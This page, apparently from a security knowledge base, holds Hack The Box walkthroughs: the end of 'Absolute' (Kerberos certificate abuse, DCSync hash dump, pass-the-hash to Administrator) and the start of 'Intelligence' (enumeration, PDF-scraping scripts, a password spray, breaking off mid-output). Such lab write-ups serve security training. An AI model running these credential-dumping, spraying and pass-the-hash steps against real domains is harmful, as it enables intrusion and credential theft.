KOCGwUb8FtPnEkEV/ueBBQDE5fTVN/7U0RKFMmw0VDxBEXIuQICB9A= /password:"hD8=vP2#vB4/" /getcredentials /show /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN="CN=DC", OU=Domain Controllers, DC=absolute, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'absolute.htb\DC$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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

  ServiceName              :  krbtgt/absolute.htb
  ServiceRealm             :  ABSOLUTE.HTB
  UserName                 :  DC$
  UserRealm                :  ABSOLUTE.HTB
  StartTime                :  5/31/2023 8:54:55 AM
  EndTime                  :  5/31/2023 6:54:55 PM
  RenewTill                :  6/7/2023 8:54:55 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  lOCaUrm24hV/GszpClf8XA==
  ASREP (key)              :  3059A5A48E3F9FCBEC45B9FCF2759666

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : A7864AB463177ACB9AEC553F18F42577
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute19.png)

#### DC Sync

目前为止，与之交互的所有帐户都在[Protected Users group](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)中，这就是阻止NTLM身份验证的原因。

``` bash
*Evil-WinRM* PS C:\programdata> net user winrm_user
User name                    winrm_user
Full Name
Comment                      Used to perform simple network tasks
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/9/2022 1:25:51 AM
Password expires             Never
Password changeable          6/10/2022 1:25:51 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/31/2023 8:44:50 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Protected Users
The command completed successfully.
```

DC帐户不在*Protected Users组中，因此可以使用之前U2U恢复的NTLM hash进行身份验证。

DC帐户也可以这样做，可以通过crackmapexec来完成这个操作:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb -dc-ip dc.absolute.htb -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577 --ntds
SMB         dc.absolute.htb 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:c-ip) (signing:True) (SMBv1:False)
SMB         dc.absolute.htb 445    DC               [+] c-ip\DC$:A7864AB463177ACB9AEC553F18F42577
SMB         dc.absolute.htb 445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         dc.absolute.htb 445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc.absolute.htb 445    DC               Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea:::
SMB         dc.absolute.htb 445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc.absolute.htb 445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
SMB         dc.absolute.htb 445    DC               J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
SMB         dc.absolute.htb 445    DC               M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
SMB         dc.absolute.htb 445    DC               D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
SMB         dc.absolute.htb 445    DC               s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
SMB         dc.absolute.htb 445    DC               j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
SMB         dc.absolute.htb 445    DC               n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
SMB         dc.absolute.htb 445    DC               m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
SMB         dc.absolute.htb 445    DC               l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
SMB         dc.absolute.htb 445    DC               c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
SMB         dc.absolute.htb 445    DC               s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
SMB         dc.absolute.htb 445    DC               d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
SMB         dc.absolute.htb 445    DC               svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
SMB         dc.absolute.htb 445    DC               svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
SMB         dc.absolute.htb 445    DC               winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
SMB         dc.absolute.htb 445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
SMB         dc.absolute.htb 445    DC               [+] Dumped 18 NTDS hashes to /root/.cme/logs/DC_dc.absolute.htb_2023-05-31_120153.ntds of which 17 were added to the database
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute20.png)

#### Evil-WinRM

从winrm_user的shell中，很明显，administrator不在*Protected Users用户组中:

``` bash
*Evil-WinRM* PS C:\Users\winrm_user\Documents> net user administrator
User name                    Administrator
Full Name
Comment                      Built-in account for administering the computer/domain
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/9/2022 1:25:57 AM
Password expires             Never
Password changeable          6/10/2022 1:25:57 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/31/2023 9:05:00 AM

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users         *Schema Admins
                             *Enterprise Admins    *Domain Admins
                             *Group Policy Creator
The command completed successfully.
```

administrator的NTLM hash可以用来获取一个作为administrator的shell:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# evil-winrm -i 10.10.11.181 -u administrator -H 1f4a6093623653f6488d5aa24c75f2ea

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
absolute\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\desktop\root.txt
e9cefad9242174ae18798c39f2c275d5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute21.png)

#### Reference Sources

 - [0xdf's blog absolute walkthrough](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html)
 - [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
 - [username-anarchy](https://github.com/urbanadventurer/username-anarchy)
 - [kerbrute](https://github.com/ropnop/kerbrute)
 - [BloodHound](https://github.com/BloodHoundAD/BloodHound)
 - [BloodHound.py](https://github.com/fox-it/BloodHound.py)
 - [KrbRelay](https://github.com/cube0x0/KrbRelay)
 - [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)

<!-- kb:end htb-absolute -->

</details>

<a id="case-intelligence"></a>

## DNS 记录、gMSA 与服务委派

PDF 元数据用于账户识别，DNS 更新触发认证请求，后续读取 gMSA 并请求服务票据。时钟同步和服务 SPN 是原环境的重要条件。

<p class="kb-provenance">来源 intelligence · 原记录 2021-07-10 · 31 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-intelligence">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start intelligence -->

#### introduce

OS: Windows
Difficulty: Medium
Points:	30
Release:	03 Jul 2021
IP:	10.10.10.248

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2012.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration

use nmap as usual

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.248
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-10 10:05:43Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
64420/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Looks like a normal Active Directory setup for windows OS.

#### SMB
#### Enum4linux

``` bash
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jul  4 07:18:41 2021

 ========================== 
|    Target Information    |
 ========================== 
Target ........... intelligence.htb
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ======================================================== 
|    Enumerating Workgroup/Domain on intelligence.htb    |
 ======================================================== 
[E] Can't find workgroup/domain


 ================================================ 
|    Nbtstat Information for intelligence.htb    |
 ================================================ 
Looking up status of 10.129.80.199
No reply from 10.129.80.199

 ========================================= 
|    Session Check on intelligence.htb    |
 ========================================= 
[+] Server intelligence.htb allows sessions using username '', password ''
[+] Got domain/workgroup name: 

 =============================================== 
|    Getting domain SID for intelligence.htb    |
 =============================================== 
Domain Name: intelligence
Domain Sid: S-1-5-21-4210132550-3389855604-3437519686
[+] Host is part of a domain (not a workgroup)

 ========================================== 
|    OS information on intelligence.htb    |
 ========================================== 
[+] Got OS info for intelligence.htb from smbclient: 
[+] Got OS info for intelligence.htb from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ================================= 
|    Users on intelligence.htb    |
 ================================= 
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

 ============================================= 
|    Share Enumeration on intelligence.htb    |
 ============================================= 

	Sharename       Type      Comment
	---------       ----      -------
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on intelligence.htb

 ======================================================== 
|    Password Policy Information for intelligence.htb    |
 ======================================================== 
[E] Unexpected error from polenum:


[+] Attaching to intelligence.htb using a NULL share

[+] Trying protocol 139/SMB...

	[!] Protocol failed: Cannot request session (Called Name:INTELLIGENCE.HT)

[+] Trying protocol 445/SMB...

	[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.


[E] Failed to get password policy with rpcclient


 ================================== 
|    Groups on intelligence.htb    |
 ================================== 

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

 =========================================================================== 
|    Users on intelligence.htb via RID cycling (RIDS: 500-550,1000-1050)    |
 =========================================================================== 
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.

 ================================================= 
|    Getting printer info for intelligence.htb    |
 ================================================= 
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Sun Jul  4 07:19:54 2021
```

Nothing much from here so let's try anonymous login.

#### Anonymous Login

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# smbclient -L //intelligence.htb
Enter WORKGROUP\root's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available
```

We have anonymous login but we have access to shares so let's enumerate further.

#### LDAP

let's do an ldap search for getting naming context for the AD(Active Directory).

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# ldapsearch -x -h intelligence.htb -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=intelligence,DC=htb
namingcontexts: CN=Configuration,DC=intelligence,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=intelligence,DC=htb
namingcontexts: DC=DomainDnsZones,DC=intelligence,DC=htb
namingcontexts: DC=ForestDnsZones,DC=intelligence,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

Looks like it's normal intelligence.htb so let's move on from there.

#### Web

Looking through the webpage we can see we can get two PDF so maybe we can get some username from it's exifdata.
so let's get the two PDF's.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# wget http://intelligence.htb/documents/2020-01-01-upload.pdf
--2021-07-09 23:58:06--  http://intelligence.htb/documents/2020-01-01-upload.pdf
正在解析主机 intelligence.htb (intelligence.htb)... 10.10.10.248
正在连接 intelligence.htb (intelligence.htb)|10.10.10.248|:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：26835 (26K) [application/pdf]
正在保存至: “2020-01-01-upload.pdf”

2020-01-01-upload.pdf            100%[========================================================>]  26.21K  --.-KB/s  用时 0.1s    

2021-07-09 23:58:06 (188 KB/s) - 已保存 “2020-01-01-upload.pdf” [26835/26835])

┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# wget http://intelligence.htb/documents/2020-12-15-upload.pdf                                                                  
--2021-07-09 23:58:18--  http://intelligence.htb/documents/2020-12-15-upload.pdf
正在解析主机 intelligence.htb (intelligence.htb)... 10.10.10.248
正在连接 intelligence.htb (intelligence.htb)|10.10.10.248|:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：27242 (27K) [application/pdf]
正在保存至: “2020-12-15-upload.pdf”

2020-12-15-upload.pdf            100%[========================================================>]  26.60K   112KB/s  用时 0.2s    

2021-07-09 23:58:19 (112 KB/s) - 已保存 “2020-12-15-upload.pdf” [27242/27242])
```

So now let's try and see it's exifdata from that PDF.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# exiftool 2020-01-01-upload.pdf 
ExifTool Version Number         : 12.16
File Name                       : 2020-01-01-upload.pdf
Directory                       : .
File Size                       : 26 KiB
File Modification Date/Time     : 2021:04:01 13:00:00-04:00
File Access Date/Time           : 2021:07:09 23:58:06-04:00
File Inode Change Date/Time     : 2021:07:09 23:58:06-04:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : William.Lee
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# exiftool 2020-12-15-upload.pdf
ExifTool Version Number         : 12.16
File Name                       : 2020-12-15-upload.pdf
Directory                       : .
File Size                       : 27 KiB
File Modification Date/Time     : 2021:04:01 13:00:00-04:00
File Access Date/Time           : 2021:07:09 23:58:19-04:00
File Inode Change Date/Time     : 2021:07:09 23:58:19-04:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : Jose.Williams
```

Looks like we have two usernames Jose.Williams and William.Lee so let's create a wordlist with different combination from their names and then brute it with kerbrute.

#### Kerberos

Thinking about the wordlist I came up with this wordlist below.

``` bash
Administrator
Guest
William
Jose.Williams 
William.Lee
Jwilliams
JWilliams
WLee
Wlee
LWilliams
Lwilliams
WJose
Wjose
wJose
wjose
lWilliams
lwilliams
wlee
wLee
jWilliams
jwilliams
```

In this case you don't need to create this wordlist cause the author name is one of the usernames but in Real like scenario or the in some difficult CTF you might need to create the wordlist as above.

Let's move on and try kerbrute on the AD.

``` bash
kali@kali:~/HackTheBox/Intelligence$ ~/Git/kerbrute/dist/kerbrute userenum --dc intelligence.htb -d intelligence.htb user.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (1ad284a) - 07/04/21 - Ronnie Flathers @ropnop

2021/07/04 07:37:21 >  Using KDC(s):
2021/07/04 07:37:21 >   intelligence.htb:88

2021/07/04 07:37:22 >  [+] VALID USERNAME:       William.Lee@intelligence.htb
2021/07/04 07:37:22 >  [+] VALID USERNAME:       Administrator@intelligence.htb
2021/07/04 07:37:22 >  Done! Tested 21 usernames (2 valid) in 0.804 seconds
```
So now we have two users before bruting the password let's try and check for some low hanging fruits like GetNpuser.
Got nothing from that so I though that there could be something else so I went on to check PDF's.

#### Web

So I checked the naming of PDF is using the date and then followed by upload. so I tried to brute all the dates to get if there are anymore PDF's.
The below script will create a new PDF directory and download all pdf in that directory.

``` python
#!/usr/bin/python3

import requests
import os

url = 'http://intelligence.htb/documents/'

for i in range(2020,2022):
	for j in range(1,13):
		for k in range(1,31):
			date = f'{i}-{j:02}-{k:02}-upload.pdf'
			r = requests.get(url+date)
			#print (r.text)
			if (r.status_code == 200):
				print (date)
				#text = r.text
				os.system('mkdir pdf')
				os.system(f'wget {url}{date} -O pdf/{date}')
```

Now as the nummber of PDF files was more I wrote another python script to extract
the usernames.

``` python
#!/usr/bin/python3

from pwn import *

io = process('/bin/sh')
io.sendline('ls -al pdf/')
lst = io.recvrepeat(1).decode().strip().split('\n')
files = []
for i in range(3,len(lst)):
	tmp = lst[i].split(' ')
	files.append(tmp[10])
#print (files)
f = open('users.txt','w')
for i in files:
	io.sendline(f'exiftool pdf/{i}')
	tmp = (io.recvrepeat(1).decode().strip().split(': '))
	f.write(tmp[-1] + '\n')
	print (tmp[-1])

f.close()
```

And it will create users.txt for you.
now after getting users.txt you can retry NPUsers.py but it won't help so let's dig more into PDF.
Now searching for password in pdf I wrote this simple python script to make my job easy.

```python
#!/usr/bin/python3

from pdfminer.high_level import extract_text

files = ['2020-01-01-upload.pdf', '2020-01-02-upload.pdf', '2020-01-04-upload.pdf', '2020-01-10-upload.pdf', '2020-01-20-upload.pdf', '2020-01-22-upload.pdf', '2020-01-23-upload.pdf', '2020-01-25-upload.pdf', '2020-01-30-upload.pdf', '2020-02-11-upload.pdf', '2020-02-17-upload.pdf', '2020-02-23-upload.pdf', '2020-02-24-upload.pdf', '2020-02-28-upload.pdf', '2020-03-04-upload.pdf', '2020-03-05-upload.pdf', '2020-03-12-upload.pdf', '2020-03-13-upload.pdf', '2020-03-17-upload.pdf', '2020-03-21-upload.pdf', '2020-04-02-upload.pdf', '2020-04-04-upload.pdf', '2020-04-15-upload.pdf', '2020-04-23-upload.pdf', '2020-05-01-upload.pdf', '2020-05-03-upload.pdf', '2020-05-07-upload.pdf', '2020-05-11-upload.pdf', '2020-05-17-upload.pdf', '2020-05-20-upload.pdf', '2020-05-21-upload.pdf', '2020-05-24-upload.pdf', '2020-05-29-upload.pdf', '2020-06-02-upload.pdf', '2020-06-03-upload.pdf', '2020-06-04-upload.pdf', '2020-06-07-upload.pdf', '2020-06-08-upload.pdf', '2020-06-12-upload.pdf', '2020-06-14-upload.pdf', '2020-06-15-upload.pdf', '2020-06-21-upload.pdf', '2020-06-22-upload.pdf', '2020-06-25-upload.pdf', '2020-06-26-upload.pdf', '2020-06-28-upload.pdf', '2020-06-30-upload.pdf', '2020-07-02-upload.pdf', '2020-07-06-upload.pdf', '2020-07-08-upload.pdf', '2020-07-20-upload.pdf', '2020-07-24-upload.pdf', '2020-08-01-upload.pdf', '2020-08-03-upload.pdf', '2020-08-09-upload.pdf', '2020-08-19-upload.pdf', '2020-08-20-upload.pdf', '2020-09-02-upload.pdf', '2020-09-04-upload.pdf', '2020-09-05-upload.pdf', '2020-09-06-upload.pdf', '2020-09-11-upload.pdf', '2020-09-13-upload.pdf', '2020-09-16-upload.pdf', '2020-09-22-upload.pdf', '2020-09-27-upload.pdf', '2020-09-29-upload.pdf', '2020-09-30-upload.pdf', '2020-10-05-upload.pdf', '2020-10-19-upload.pdf', '2020-11-01-upload.pdf', '2020-11-03-upload.pdf', '2020-11-06-upload.pdf', '2020-11-10-upload.pdf', '2020-11-11-upload.pdf', '2020-11-13-upload.pdf', '2020-11-24-upload.pdf', '2020-11-30-upload.pdf']
#keywords = ['user','username','pass','password']
keywords = 'user'

for i in files:
	text = extract_text('pdf/'+i)
	if(keywords in text):
		print (i)
		print (text)
```

So this will give you the following output.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# python3 getpass.py 
2020-06-04-upload.pdf
New Account Guide

Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876

After logging in please change your password as soon as possible.
```

So now we have default password so let's try and spray that password at our username I tried kerbrute but didn't yeild anything then I tried crackmapexec.

#### Crackmapexec

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876
SMB         10.10.10.248    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.248    445    DC               [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Scott.Scott:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Veronica.Patel:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jennifer.Thomas:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Danny.Matthews:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Reed:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Stephanie.Young:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Daniel.Shelton:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jose.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jose.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Daniel.Shelton:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Brian.Morris:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jennifer.Thomas:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Thomas.Valenzuela:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Travis.Evans:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Samuel.Richardson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Richard.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Mcbride:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
